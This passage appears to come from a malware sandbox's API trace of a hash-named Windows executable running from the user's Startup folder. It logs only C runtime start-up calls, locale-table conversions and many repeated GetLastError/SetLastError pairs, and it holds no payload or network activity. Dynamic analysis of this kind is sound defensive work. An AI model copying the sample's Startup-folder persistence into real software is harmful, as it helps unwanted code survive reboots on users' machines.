(HeapHandle=0x2070000, Flags=0x8, Size=0x800) returned 0x20709f0 [0133.028] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0133.028] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0133.028] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0133.028] SetHandleCount (uNumber=0x20) returned 0x20 [0133.028] GetCommandLineA () returned="\"C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe\" " [0133.028] GetEnvironmentStringsW () returned 0x684de0* [0133.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1500, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1500 [0133.028] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x0, Size=0x5dc) returned 0x20711f8 [0133.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1500, lpMultiByteStr=0x20711f8, cbMultiByte=1500, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=::=::\\", lpUsedDefaultChar=0x0) returned 1500 [0133.028] FreeEnvironmentStringsW (penv=0x684de0) returned 1 [0133.028] GetLastError () returned 0x5 [0133.028] SetLastError (dwErrCode=0x5) [0133.028] GetLastError () returned 0x5 [0133.028] SetLastError (dwErrCode=0x5) [0133.029] GetLastError () returned 0x5 [0133.029] SetLastError (dwErrCode=0x5) [0133.029] GetACP () returned 0x4e4 [0133.029] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x0, Size=0x220) returned 0x20717e0 [0133.029] GetLastError () returned 0x5 [0133.029] SetLastError (dwErrCode=0x5) [0133.029] IsValidCodePage (CodePage=0x4e4) returned 1 [0133.029] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x1afcfc | out: lpCPInfo=0x1afcfc) returned 1 [0133.029] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x1af7c8 | out: lpCPInfo=0x1af7c8) returned 1 [0133.029] GetLastError () returned 0x5 [0133.029] SetLastError (dwErrCode=0x5) [0133.029] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x1afbdc, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0133.029] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x1afbdc, cbMultiByte=256, lpWideCharStr=0x1af548, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ鵧;Ā") returned 256 [0133.029] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ鵧;Ā", cchSrc=256, lpCharType=0x1af7dc | out: lpCharType=0x1af7dc) returned 1 [0133.029] GetLastError () returned 0x5 [0133.029] SetLastError (dwErrCode=0x5) [0133.029] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x1afbdc, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0133.029] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x1afbdc, cbMultiByte=256, lpWideCharStr=0x1af518, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0133.029] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0133.029] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x1af308, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0133.029] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x1afadc, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x94\x87cP\x14ý\x1a", lpUsedDefaultChar=0x0) returned 256 [0133.029] GetLastError () returned 0x5 [0133.030] SetLastError (dwErrCode=0x5) [0133.030] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x1afbdc, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0133.030] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x1afbdc, cbMultiByte=256, lpWideCharStr=0x1af538, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0133.030] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0133.030] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x1af328, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0133.030] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x1af9dc, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x94\x87cP\x14ý\x1a", lpUsedDefaultChar=0x0) returned 256 [0133.030] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x3bf728, nSize=0x104 | out: lpFilename="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe")) returned 0x95 [0133.030] GetLastError () returned 0x0 [0133.030] SetLastError (dwErrCode=0x0) [0133.030] GetLastError () returned 0x0 [0133.030] SetLastError (dwErrCode=0x0) [0133.030] GetLastError () returned 0x0 [0133.030] SetLastError (dwErrCode=0x0) [0133.030] GetLastError () returned 0x0 [0133.030] SetLastError (dwErrCode=0x0) [0133.030] GetLastError () returned 0x0 [0133.030] SetLastError (dwErrCode=0x0) [0133.030] GetLastError () returned 0x0 [0133.031] SetLastError (dwErrCode=0x0) [0133.031] GetLastError () returned 0x0 [0133.031] SetLastError (dwErrCode=0x0) [0133.031] GetLastError () returned 0x0 [0133.031] SetLastError (dwErrCode=0x0) [0133.031] GetLastError () returned 0x0 [0133.031] SetLastError (dwErrCode=0x0) [0133.031] GetLastError () returned 0x0 [0133.031] SetLastError (dwErrCode=0x0) [0133.031] GetLastError () returned 0x0 [0133.031] SetLastError (dwErrCode=0x0) [0133.031] GetLastError () returned 0x0 [0133.031] SetLastError (dwErrCode=0x0) [0133.031] GetLastError () returned 0x0 [0133.031] SetLastError (dwErrCode=0x0) [0133.031] GetLastError () returned 0x0 [0133.031] SetLastError (dwErrCode=0x0) [0133.031] GetLastError () returned 0x0 [0133.031] SetLastError (dwErrCode=0x0) [0133.031] GetLastError () returned 0x0 [0133.032] SetLastError (dwErrCode=0x0) [0133.032] GetLastError () returned 0x0 [0133.032] SetLastError (dwErrCode=0x0) [0133.032] GetLastError () returned 0x0 [0133.032] SetLastError (dwErrCode=0x0) [0133.032] GetLastError () returned 0x0 [0133.032] SetLastError (dwErrCode=0x0) [0133.032] GetLastError () returned 0x0 [0133.032] SetLastError (dwErrCode=0x0) [0133.032] GetLastError () returned 0x0 [0133.032] SetLastError (dwErrCode=0x0) [0133.032] GetLastError () returned 0x0 [0133.032] SetLastError (dwErrCode=0x0) [0133.032] GetLastError () returned 0x0 [0133.032] SetLastError (dwErrCode=0x0) [0133.032] GetLastError () returned 0x0 [0133.032] SetLastError (dwErrCode=0x0) [0133.032] GetLastError () returned 0x0 [0133.032] SetLastError (dwErrCode=0x0) [0133.032] GetLastError () returned 0x0 [0133.033] SetLastError (dwErrCode=0x0) [0133.033] GetLastError () returned 0x0 [0133.033] SetLastError (dwErrCode=0x0) [0133.033] GetLastError () returned 0x0 [0133.033] SetLastError (dwErrCode=0x0) [0133.033] GetLastError () returned 0x0 [0133.033] SetLastError (dwErrCode=0x0) [0133.033] GetLastError () returned 0x0 [0133.033] SetLastError (dwErrCode=0x0) [0133.033] GetLastError () returned 0x0 [0133.033] SetLastError (dwErrCode=0x0) [0133.033] GetLastError () returned 0x0 [0133.033] SetLastError (dwErrCode=0x0) [0133.033] GetLastError () returned 0x0 [0133.033] SetLastError (dwErrCode=0x0) [0133.033] GetLastError () returned 0x0 [0133.033] SetLastError (dwErrCode=0x0) [0133.033] GetLastError () returned 0x0 [0133.033] SetLastError (dwErrCode=0x0) [0133.033] GetLastError () returned 0x0 [0133.034] SetLastError (dwErrCode=0x0) [0133.034] GetLastError () returned 0x0 [0133.034] SetLastError (dwErrCode=0x0) [0133.034] GetLastError () returned 0x0 [0133.034] SetLastError (dwErrCode=0x0) [0133.034] GetLastError () returned 0x0 [0133.034] SetLastError (dwErrCode=0x0) [0133.034] GetLastError () returned 0x0 [0133.034] SetLastError (dwErrCode=0x0) [0133.034] GetLastError () returned 0x0 [0133.034] SetLastError (dwErrCode=0x0) [0133.034] GetLastError () returned 0x0 [0133.034] SetLastError (dwErrCode=0x0) [0133.034] GetLastError () returned 0x0 [0133.034] SetLastError (dwErrCode=0x0) [0133.034] GetLastError () returned 0x0 [0133.034] SetLastError (dwErrCode=0x0) [0133.034] GetLastError () returned 0x0 [0133.034] SetLastError (dwErrCode=0x0) [0133.034] GetLastError () returned 0x0 [0133.034] SetLastError (dwErrCode=0x0) [0133.035] GetLastError () returned 0x0 [0133.035] SetLastError (dwErrCode=0x0) [0133.035] GetLastError () returned 0x0 [0133.035] SetLastError (dwErrCode=0x0) [0133.035] GetLastError () returned 0x0 [0133.035] SetLastError (dwErrCode=0x0) [0133.035] GetLastError () returned 0x0 [0133.035] SetLastError (dwErrCode=0x0) [0133.035] GetLastError () returned 0x0 [0133.035] SetLastError (dwErrCode=0x0) [0133.035] GetLastError () returned 0x0 [0133.035] SetLastError (dwErrCode=0x0) [0133.035] GetLastError () returned 0x0 [0133.035] SetLastError (dwErrCode=0x0) [0133.035] GetLastError () returned 0x0 [0133.035] SetLastError (dwErrCode=0x0) [0133.035] GetLastError () returned 0x0 [0133.035] SetLastError (dwErrCode=0x0) [0133.035] GetLastError () returned 0x0 [0133.036] SetLastError (dwErrCode=0x0) [0133.036] GetLastError () returned 0x0 [0133.036] SetLastError (dwErrCode=0x0) [0133.036] GetLastError () returned 0x0 [0133.036] SetLastError (dwErrCode=0x0) [0133.036] GetLastError () returned 0x0 [0133.036] SetLastError (dwErrCode=0x0) [0133.036] GetLastError () returned 0x0 [0133.036] SetLastError (dwErrCode=0x0) [0133.036] GetLastError () returned 0x0 [0133.036] SetLastError (dwErrCode=0x0) [0133.036] GetLastError () returned 0x0 [0133.036] SetLastError (dwErrCode=0x0) [0133.036] GetLastError () returned 0x0 [0133.036] SetLastError (dwErrCode=0x0) [0133.036] GetLastError () returned 0x0 [0133.036] SetLastError (dwErrCode=0x0) [0133.036] GetLastError () returned 0x0 [0133.036] SetLastError (dwErrCode=0x0) [0133.036] GetLastError () returned 0x0 [0133.036] SetLastError (dwErrCode=0x0) [0133.037] GetLastError () returned 0x0 [0133.037] SetLastError (dwErrCode=0x0) [0133.037] GetLastError () returned 0x0 [0133.037] SetLastError (dwErrCode=0x0) [0133.037] GetLastError () returned 0x0 [0133.037] SetLastError (dwErrCode=0x0) [0133.037] GetLastError () returned 0x0 [0133.037] SetLastError (dwErrCode=0x0) [0133.037] GetLastError () returned 0x0 [0133.037] SetLastError (dwErrCode=0x0) [0133.037] GetLastError () returned 0x0 [0133.037] SetLastError (dwErrCode=0x0) [0133.037] GetLastError () returned 0x0 [0133.037] SetLastError (dwErrCode=0x0) [0133.037] GetLastError () returned 0x0 [0133.037] SetLastError (dwErrCode=0x0) [0133.037] GetLastError () returned 0x0 [0133.037] SetLastError (dwErrCode=0x0) [0133.037] GetLastError () returned 0x0 [0133.038] SetLastError (dwErrCode=0x0) [0133.038] GetLastError () returned 0x0 [0133.038] SetLastError (dwErrCode=0x0) [0133.038] GetLastError () returned 0x0 [0133.038] SetLastError (dwErrCode=0x0) [0133.038] GetLastError () returned 0x0 [0133.038] SetLastError (dwErrCode=0x0) [0133.038] GetLastError () returned 0x0 [0133.038] SetLastError (dwErrCode=0x0) [0133.045] GetLastError () returned 0x0 [0133.045] SetLastError (dwErrCode=0x0) [0133.045] GetLastError () returned 0x0 [0133.045] SetLastError (dwErrCode=0x0) [0133.045] GetLastError () returned 0x0 [0133.046] SetLastError (dwErrCode=0x0) [0133.046] GetLastError () returned 0x0 [0133.046] SetLastError (dwErrCode=0x0) [0133.046] GetLastError () returned 0x0 [0133.046] SetLastError (dwErrCode=0x0) [0133.046] GetLastError () returned 0x0 [0133.046] SetLastError (dwErrCode=0x0) [0133.046] GetLastError () returned 0x0 [0133.046] SetLastError (dwErrCode=0x0) [0133.046] GetLastError () returned 0x0 [0133.046] SetLastError (dwErrCode=0x0) [0133.046] GetLastError () returned 0x0 [0133.046] SetLastError (dwErrCode=0x0) [0133.046] GetLastError () returned 0x0 [0133.046] SetLastError (dwErrCode=0x0) [0133.046] GetLastError () returned 0x0 [0133.046] SetLastError (dwErrCode=0x0) [0133.046] GetLastError () returned 0x0 [0133.046] SetLastError (dwErrCode=0x0) [0133.046] GetLastError () returned 0x0 [0133.047] SetLastError (dwErrCode=0x0) [0133.047] GetLastError () returned 0x0 [0133.047] SetLastError (dwErrCode=0x0) [0133.047] GetLastError () returned 0x0 [0133.047] SetLastError (dwErrCode=0x0) [0133.047] GetLastError () returned 0x0 [0133.047] SetLastError (dwErrCode=0x0) [0133.047] GetLastError () returned 0x0 [0133.047] SetLastError (dwErrCode=0x0) [0133.047] GetLastError () returned 0x0 [0133.047] SetLastError (dwErrCode=0x0) [0133.047] GetLastError () returned 0x0 [0133.047] SetLastError (dwErrCode=0x0) [0133.047] GetLastError () returned 0x0 [0133.047] SetLastError (dwErrCode=0x0) [0133.047] GetLastError () returned 0x0 [0133.047] SetLastError (dwErrCode=0x0) [0133.047] GetLastError () returned 0x0 [0133.047] SetLastError (dwErrCode=0x0) [0133.048] GetLastError () returned 0x0 [0133.048] SetLastError (dwErrCode=0x0) [0133.048] GetLastError () returned 0x0 [0133.048] SetLastError (dwErrCode=0x0) [0133.048] GetLastError () returned 0x0 [0133.048] SetLastError (dwErrCode=0x0) [0133.048] GetLastError () returned 0x0 [0133.048] SetLastError (dwErrCode=0x0) [0133.048] GetLastError () returned 0x0 [0133.048] SetLastError (dwErrCode=0x0) [0133.048] GetLastError () returned 0x0 [0133.048] SetLastError (dwErrCode=0x0) [0133.048] GetLastError () returned 0x0 [0133.048] SetLastError (dwErrCode=0x0) [0133.048] GetLastError () returned 0x0 [0133.048] SetLastError (dwErrCode=0x0) [0133.048] GetLastError () returned 0x0 [0133.048] SetLastError (dwErrCode=0x0) [0133.048] GetLastError () returned 0x0 [0133.049] SetLastError (dwErrCode=0x0) [0133.049] GetLastError () returned 0x0 [0133.049] SetLastError (dwErrCode=0x0) [0133.049] GetLastError () returned 0x0 [0133.049] SetLastError (dwErrCode=0x0) [0133.049] GetLastError () returned 0x0 [0133.049] SetLastError (dwErrCode=0x0) [0133.049] GetLastError () returned 0x0 [0133.049] SetLastError (dwErrCode=0x0) [0133.049] GetLastError () returned 0x0 [0133.049] SetLastError (dwErrCode=0x0) [0133.049] GetLastError () returned 0x0 [0133.049] SetLastError (dwErrCode=0x0) [0133.049] GetLastError () returned 0x0 [0133.049] SetLastError (dwErrCode=0x0) [0133.049] GetLastError () returned 0x0 [0133.049] SetLastError (dwErrCode=0x0) [0133.049] 